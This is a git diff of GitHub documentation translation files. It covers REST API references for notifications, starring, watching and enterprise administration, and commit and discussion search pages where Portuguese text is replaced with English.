GitHub + + 2019-01-14T19:34:52Z + + tag:github.com,2008:GHSA-abcd-12ab-23cd + 2018-07-26T15:14:52Z + 2019-01-14T19:34:52Z + [GHSA-abcd-12ab-23cd] Moderate severity vulnerability that affects Octoapp + + + <p>Octoapp node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of "Object" via <strong>proto</strong>, causing the addition or modification of an existing property that will exist on all objects.</p> + <p><strong>Affected Packages</strong></p> + + <dl> + <dt>Octoapp</dt> + <dd>Ecosystem: npm</dd> + <dd>Severity: moderate</dd> + <dd>Versions: &lt; 4.17.5</dd> + <dd>Fixed in: 4.17.5</dd> + </dl> + + <p><strong>References</strong></p> + + <ul> + <li>https://nvd.nist.gov/vuln/detail/CVE-2018-123</li> + </ul> + + + + +``` + +## Notifications + +Users receive notifications for conversations in repositories they watch including: + +* Issues and their comments +* Pull Requests and their comments +* Comments on any commits + +Notifications are also sent for conversations in unwatched repositories when the user is involved including: + +* **@mentions** +* Issue assignments +* Commits the user authors or commits +* Any discussion in which the user actively participates + +All Notification API calls require the `notifications` or `repo` API scopes. Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints. + +Notifications come back as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. + +Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. + +``` shell +# Add authentication to your requests +$ curl -I {% data variables.product.api_url_pre %}/notifications +HTTP/2 200 +Last-Modified: Thu, 25 Oct 2012 15:16:27 GMT +X-Poll-Interval: 60 + +# Pass the Last-Modified header exactly +$ curl -I {% data variables.product.api_url_pre %}/notifications +$ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" +> HTTP/2 304 +> X-Poll-Interval: 60 +``` + +### Notification reasons + +When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification. + +Here's a list of potential `reason`s for receiving a notification: + +Reason Name | Description +------------|------------ +`assign` | You were assigned to the issue. +`author` | You created the thread. +`comment` | You commented on the thread. +`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. +`invitation` | You accepted an invitation to contribute to the repository. +`manual` | You subscribed to the thread (via an issue or pull request). +`mention` | You were specifically **@mentioned** in the content. +`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} +`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %} +`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). +`subscribed` | You're watching the repository. +`team_mention` | You were on a team that was mentioned. + +Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. + +For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'notifications' %}{% include rest_operation %}{% endif %} +{% endfor %} + +## Starring + +Repository starring is a feature that lets users bookmark repositories. Stars are shown next to repositories to show an approximate level of interest. Stars have no effect on notifications or the activity feed. + +### Starring vs. Watching + +In August 2012, we [changed the way watching +works](https://github.com/blog/1204-notifications-stars) on {% data variables.product.prodname_dotcom %}. Many API +client applications may be using the original "watcher" endpoints for accessing +this data. You can now start using the "star" endpoints instead (described +below). For more information, see the [Watcher API Change post](https://developer.github.com/changes/2012-09-05-watcher-api/) and the "[Repository Watching API](/rest/reference/activity#watching)." + +### Custom media types for starring + +There is one supported custom media type for the Starring REST API. When you use this custom media type, you will receive a response with the `starred_at` timestamp property that indicates the time the star was created. The response also has a second property that includes the resource that is returned when the custom media type is not included. The property that contains the resource will be either `user` or `repo`. + + application/vnd.github.v3.star+json + +For more information about media types, see "[Custom media types](/rest/overview/media-types)." + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'starring' %}{% include rest_operation %}{% endif %} +{% endfor %} + +## Watching + +Watching a repository registers the user to receive notifications on new discussions, as well as events in the user's activity feed. For simple repository bookmarks, see "[Repository starring](/rest/reference/activity#starring)." + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'watching' %}{% include rest_operation %}{% endif %} +{% endfor %} diff --git a/translations/pt-BR/content/rest/reference/enterprise-admin.md b/translations/pt-BR/content/rest/reference/enterprise-admin.md new file mode 100644 index 0000000000..d8512c1e8d --- /dev/null +++ b/translations/pt-BR/content/rest/reference/enterprise-admin.md @@ -0,0 +1,329 @@ +--- +title: GitHub Enterprise administration +intro: You can use these endpoints to administer your enterprise. Among the tasks you can perform with this API are many relating to GitHub Actions. +allowTitleToDifferFromFilename: true +redirect_from: + - /v3/enterprise-admin + - /v3/enterprise +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +shortTitle: Enterprise administration +--- + +{% ifversion fpt or ghec %} + +{% note %} + +**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. + +{% endnote %} + +{% endif %} + +### Endpoint URLs + +REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL: + +```shell +{% data variables.product.api_url_pre %} +``` + +{% ifversion ghes %} +[Management Console](#management-console) API endpoints are only prefixed with a hostname: + +```shell +http(s)://hostname/ +``` +{% endif %} +{% ifversion ghae or ghes %} +### Authentication + +Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %} +OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %} + +Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}. + +{% endif %} + +{% ifversion ghae or ghes %} +### Version information + +The current version of your enterprise is returned in the response header of every API: +`X-GitHub-Enterprise-Version: {{currentVersion}}.0` +You can also read the current version by calling the [meta endpoint](/rest/reference/meta/). + +{% for operation in currentRestOperations %} + {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} +{% endfor %} + +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.2 %} + +## Audit log + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'audit-log' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion fpt or ghec %} +## Billing + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'billing' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +## GitHub Actions + +{% data reusables.actions.ae-beta %} + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'actions' %}{% include rest_operation %}{% endif %} +{% endfor %} + + +{% ifversion ghae or ghes %} +## Admin stats + +The Admin Stats API provides a variety of metrics about your installation. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'admin-stats' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghae or ghes > 2.22 %} + +## Announcements + +The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'announcement' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghae or ghes %} + +## Global webhooks + +Global webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise. Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types. + +*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks). + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'global-webhooks' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} + +## LDAP + +You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization. + +With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'ldap' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghae or ghes %} +## License + +The License API provides information on your Enterprise license. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'license' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} + +## Management console + +The Management Console API helps you manage your {% data variables.product.product_name %} installation. + +{% tip %} + +You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`. + +If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects. + +You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/). + +{% endtip %} + +### Authentication + +You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license). + +Use the `api_key` parameter to send this token with each request. For example: + +```shell +$ curl -L 'https://hostname:admin_port/setup/api?api_key=your-amazing-password' +``` + +You can also use standard HTTP authentication to send this token. For example: + +```shell +$ curl -L 'https://api_key:your-amazing-password@hostname:admin_port/setup/api' +``` + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'management-console' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghae or ghes %} +## Organizations + +The Organization Administration API allows you to create organizations on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'orgs' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} +## Organization pre-receive hooks + +The Organization Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to an organization. + +### Object attributes + +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. + +`configuration_url` may be a link to this endpoint or this hook's global +configuration. Only site admins are able to access the global configuration. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'org-pre-receive-hooks' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} + +## Pre-receive environments + +The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +### Object attributes + +#### Pre-receive Environment + +| Name | Type | Description | +|-----------------------|-----------|----------------------------------------------------------------------------| +| `name` | `string` | The name of the environment as displayed in the UI. | +| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | +| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. | +| `download` | `object` | This environment's download status. | +| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | + +#### Pre-receive Environment Download + +| Name | Type | Description | +|-----------------|----------|---------------------------------------------------------| +| `state` | `string` | The state of the most recent download. | +| `downloaded_at` | `string` | The time when the most recent download started. | +| `message` | `string` | On failure, this will have any error messages produced. | + +Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'pre-receive-environments' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} +## Pre-receive hooks + +The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks. *It is only available to +[authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +### Object attributes + +#### Pre-receive Hook + +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `script` | `string` | The script that the hook runs. | +| `script_repository` | `object` | The GitHub repository where the script is kept. | +| `environment` | `object` | The pre-receive environment where the script is executed. | +| `enforcement` | `string` | The state of enforcement for this hook. | +| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'pre-receive-hooks' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghes %} + +## Repository pre-receive hooks + +The Repository Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to a repository. + +### Object attributes + +| Name | Type | Description | +|---------------------|----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. + +`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'repo-pre-receive-hooks' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} + +{% ifversion ghae or ghes %} +## Users + +The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it. + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'users' %}{% include rest_operation %}{% endif %} +{% endfor %} + +{% endif %} diff --git a/translations/pt-BR/content/rest/reference/repos.md b/translations/pt-BR/content/rest/reference/repos.md index 2c1c4fa314..ca85509c37 100644 --- a/translations/pt-BR/content/rest/reference/repos.md +++ b/translations/pt-BR/content/rest/reference/repos.md @@ -21,12 +21,6 @@ miniTocMaxHeadingLevel: 3 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %} ## Autolinks -{% tip %} - -**Note:** The Autolinks API is in beta and may change. - -{% endtip %} - To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)." {% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API. diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md b/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md index 6b8ff41a15..e7f31a7604 100644 --- a/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md +++ b/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md @@ -1,6 +1,6 @@ --- -title: Pesquisar commits -intro: 'Você pode pesquisar commits no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação dos qualificadores de pesquisa de commits.' +title: Searching commits +intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.' redirect_from: - /articles/searching-commits - /github/searching-for-information-on-github/searching-commits @@ -13,100 +13,109 @@ versions: topics: - GitHub search --- +You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -Você pode pesquisar commits globalmente no {% data variables.product.product_name %} ou pesquisar em uma organização ou um repositório específico. Para obter mais informações, consulte "[Sobre pesquisar no {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". - -Quando você pesquisa commits, somente o [branch padrão](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) de um repositório é pesquisado. +When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched. {% data reusables.search.syntax_tips %} -## Pesquisar em mensagens do commit +## Search within commit messages -Você pode pesquisar commits que contêm palavras específicas na mensagem. Por exemplo, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) identifica os commits que têm as palavras "fix" e "typo". +You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo." -## Pesquisar por autor ou committer +## Search by author or committer -Você pode pesquisar commits de um usuário específico com os qualificadores `author` ou `committer`. +You can find commits by a particular user with the `author` or `committer` qualifiers. -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) identifica os commits de autoria de @defunkt. | -| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) identifica os commits feitos por @defunkt. | +| Qualifier | Example +| ------------- | ------------- +| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt. +| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt. -Os qualificadores `author-name` e `committer-name` identifica os commits pelo nome do autor ou committer. +The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer. -| Qualifier | Exemplo | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) identifica os commits com "wanstrath" no nome do autor. | -| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) identifica os commits com "wanstrath" no nome do committer. | +| Qualifier | Example +| ------------- | ------------- +| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name. +| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name. -Os qualificadores `author-email` e `committer-email` identificam commits pelo endereço de e-mail completo do autor ou committer. +The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address. -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) identifica os commits de autoria de chris@github.com. | -| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) identifica os commits feitos por chris@github.com. | +| Qualifier | Example +| ------------- | ------------- +| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com. +| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com. -## Pesquisar por data de criação ou do commit +## Search by authored or committed date -Use os qualificadores `author-date` e `committer-date` para identificar commits criados ou feitos em um intervalo de datas específico. +Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range. {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) identifica os commits criados antes de 01-01-2016. | -| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) corresponde a commits confirmados após 2016-01-01. | +| Qualifier | Example +| ------------- | ------------- +| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01. +| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01. -## Filtrar commits de merge +## Filter merge commits -O qualificador `merge` filtra os commits de merge. +The `merge` qualifier filters merge commits. -| Qualifier | Exemplo | -| ------------- | --------------------------------------------------------------------------------------------------------------------- | -| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) identifica os commits de merge. | -| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) identifica os commits que não são de merge. | +| Qualifier | Example +| ------------- | ------------- +| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits. +| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits. -## Pesquisar por hash +## Search by hash -O qualificador `hash` identifica os commits com o hash SHA-1 especificado. +The `hash` qualifier matches commits with the specified SHA-1 hash. -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) identifica os commits com o hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. | +| Qualifier | Example +| ------------- | ------------- +| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## Pesquisar por principal +## Search by parent -O qualificador `parent` identifica os commits cujo principal tem o hash SHA-1 especificado. +The `parent` qualifier matches commits whose parent has the specified SHA-1 hash. -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) identifica os commits secundários com o hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. | +| Qualifier | Example +| ------------- | ------------- +| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## Pesquisar por árvore +## Search by tree -O qualificador `tree` identifica os commits com o hash de árvore do Git SHA-1 especificado. +The `tree` qualifier matches commits with the specified SHA-1 git tree hash. -| Qualifier | Exemplo | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) identifica os commits que fazem referência ao hash de árvore `99ca967`. | +| Qualifier | Example +| ------------- | ------------- +| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`. -## Pesquisar nos repositórios de um usuário ou uma organização +## Search within a user's or organization's repositories -Para pesquisar commits em todos os repositórios de um determinado usuário ou organização, use os qualificadores `user` ou `org`. Para pesquisar commits em um repositório específico, use o qualificador `repo`. +To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier. -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) identifica as mensagens do commit com a palavra "gibberish" nos repositórios de @defunkt. | -| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) identifica as mensagens do commit com a palavra "test" nos repositórios de @github. | -| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) identifica as mensagens do commit com a palavra "language" no repositório "gibberish" de @defunkt. | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt. +| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github. +| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository. -## Filtrar por visibilidade do repositório +## Filter by repository visibility -O qualificador `is` corresponde a commits dos repositórios com a visibilidade especificada. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualificador | Exemplo | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) corresponde aos dos repositórios públicos.{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) corresponde aos commits dos repositórios internos. | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) corresponde aos commits dos repositórios privados. +| Qualifier | Example +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. +{%- endif %} -## Leia mais +{%- ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. +{%- endif %} -- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. + +## Further reading + +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md b/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md index c0ea685107..dfd0e87b86 100644 --- a/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md +++ b/translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md @@ -1,6 +1,6 @@ --- -title: Pesquisar discussões -intro: 'Você pode pesquisar discussões em {% data variables.product.product_name %} e limitar os resultados usando os qualificadores de busca.' +title: Searching discussions +intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.' versions: fpt: '*' ghec: '*' @@ -11,104 +11,108 @@ redirect_from: - /github/searching-for-information-on-github/searching-on-github/searching-discussions --- -## Sobre a pesquisa de discussões +## About searching for discussions -É possível pesquisar discussões globalmente em todos os {% data variables.product.product_name %} ou pesquisar discussões dentro de uma determinada organização ou repositório. Para obter mais informações, consulte "[Sobre a pesquisa no {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)". +You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom 